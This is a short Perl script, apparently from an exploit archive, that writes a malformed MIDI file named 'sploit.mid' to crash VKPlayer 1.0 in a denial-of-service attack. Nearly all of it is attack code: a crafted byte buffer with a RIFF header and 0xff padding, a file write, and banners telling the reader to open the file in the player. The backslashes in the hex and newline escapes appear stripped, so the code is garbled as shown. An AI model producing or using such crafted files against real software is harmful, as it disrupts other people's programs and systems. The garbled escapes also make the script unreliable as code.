#!/usr/bin/perl


# VKPlayer 1.0 (.mid) Denial of Service Exploit
# Download: http://www.brothersoft.com/vkplayer-239785.html
# Exploit Coded by: cr4wl3r <cr4wl3rx40linuxmailx2Eorg>
# From: Indonesia
#
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# WARNING - WARNING - WARNING - WARNING
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#
#
# Disclaimer: The author published the information under the condition
#             that is not in the intention of the reader to use them in order to bring
#             to himself or others a profit or to bring to others damage.
#
#
# Gr33tz: No Thanks



print "
[+]-----------------------------------------------[+]
[+] VKPlayer 1.0 (.mid) Denial of Service Exploit [+]
[+] By : cr4wl3r                                  [+]
[+]-----------------------------------------------[+]
";

$buff = 
"x52x49x46x46xffxffx00x00x52x4dx49x44x64x64x64x64".
"xf8xffxffxffx4dx54x68x64xffxffxffxffxf8xffxffxf8".
"xf8xffxffxffxf7xffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff";
#######################################################################################
open(file, "> sploit.mid");
print (file $buff);
#######################################################################################
print "n[+] Done!n
[+] Open with VKPlayer and playn
[+] Coded by cr4wl3rn";